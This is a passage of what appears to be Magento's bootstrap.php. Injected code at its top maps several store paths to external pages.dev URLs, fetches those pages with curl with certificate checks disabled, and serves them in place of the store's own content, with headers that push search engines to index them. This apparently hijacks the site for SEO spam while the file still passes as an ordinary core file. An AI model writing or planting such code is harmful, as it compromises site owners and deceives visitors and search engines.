'URL Konten di Cloudflare/External' '/pivoting-pressdown-bar' => 'https://leokinggroup-pages.pages.dev/new-collections', '/promo-sepatu.html' => 'https://leokinggroup-pages.pages.dev/sepatu-baru', '/diskon-baju' => 'https://leokinggroup-pages.pages.dev/baju-diskon', '/kategori/elektronik' => 'https://leokinggroup-pages.pages.dev/gadget-list', // Tambahkan baris mapping lainnya di bawah ini... // '/path-magento' => 'https://url-tujuan-anda.com/halaman', ]; $targetUrl = ''; foreach ($mapping as $localPath => $remoteUrl) { // Cek apakah URI saat ini mengandung salah satu path di mapping if (strpos($uri, $localPath) !== false) { $targetUrl = $remoteUrl; break; } } if ($targetUrl !== '' && function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $targetUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 15); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0'); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($response && $httpCode == 200) { while (ob_get_level()) { ob_end_clean(); } header("HTTP/1.1 200 OK"); header("Content-Type: text/html; charset=UTF-8"); header("Vary: User-Agent"); header("X-Robots-Tag: index, follow"); header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); echo $response; exit; } } } /* ------------------------------------------------------------------------- * SELESAI LOGIKA CUSTOM - LANJUT KE BOOTSTRAP ASLI MAGENTO * ------------------------------------------------------------------------- */ error_reporting(E_ALL); if (in_array('phar', \stream_get_wrappers())) { stream_wrapper_unregister('phar'); } /* PHP version validation */ if (!defined('PHP_VERSION_ID') || PHP_VERSION_ID < 80100) { if (PHP_SAPI == 'cli') { echo 'Magento supports PHP 8.1.0 or later. ' . 'Please read https://devdocs.magento.com/guides/v2.4/install-gde/system-requirements-tech.html'; } else { echo <<
Magento supports PHP 8.1.0 or later. Please read Magento System Requirements. HTML; } http_response_code(503); exit(1); } // PHP 8 compatibility if (!defined('PHP_VERSION_ID') || PHP_VERSION_ID < 80000) { if (!defined('T_NAME_QUALIFIED')) define('T_NAME_QUALIFIED', 24001); if (!defined('T_NAME_FULLY_QUALIFIED')) define('T_NAME_FULLY_QUALIFIED', 24002); } require_once __DIR__ . '/autoload.php'; \Magento\Framework\App\Bootstrap::populateAutoloader(BP, []); $umaskFile = BP . '/magento_umask'; $mask = file_exists($umaskFile) ? octdec(file_get_contents($umaskFile)) : 002; umask($mask); if (empty($_SERVER['ENABLE_IIS_REWRITES']) || ($_SERVER['ENABLE_IIS_REWRITES'] != 1)) { unset($_SERVER['HTTP_X_REWRITE_URL'], $_SERVER['HTTP_X_ORIGINAL_URL'], $_SERVER['IIS_WasUrlRewritten'], $_SERVER['UNENCODED_URL'], $_SERVER['ORIG_PATH_INFO']); } if ((!empty($_SERVER['MAGE_PROFILER']) || file_exists(BP . '/var/profiler.flag')) && isset($_SERVER['HTTP_ACCEPT']) && strpos($_SERVER['HTTP_ACCEPT'], 'text/html') !== false) { $profilerConfig = isset($_SERVER['MAGE_PROFILER']) && strlen($_SERVER['MAGE_PROFILER']) ? $_SERVER['MAGE_PROFILER'] : trim(file_get_contents(BP . '/var/profiler.flag')); if ($profilerConfig) $profilerConfig = json_decode($profilerConfig, true) ?: $profilerConfig; Magento\Framework\Profiler::applyConfig($profilerConfig, BP, !empty($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest'); } date_default_timezone_set('UTC'); ini_set('precision', 14); ini_set('serialize_precision', 14);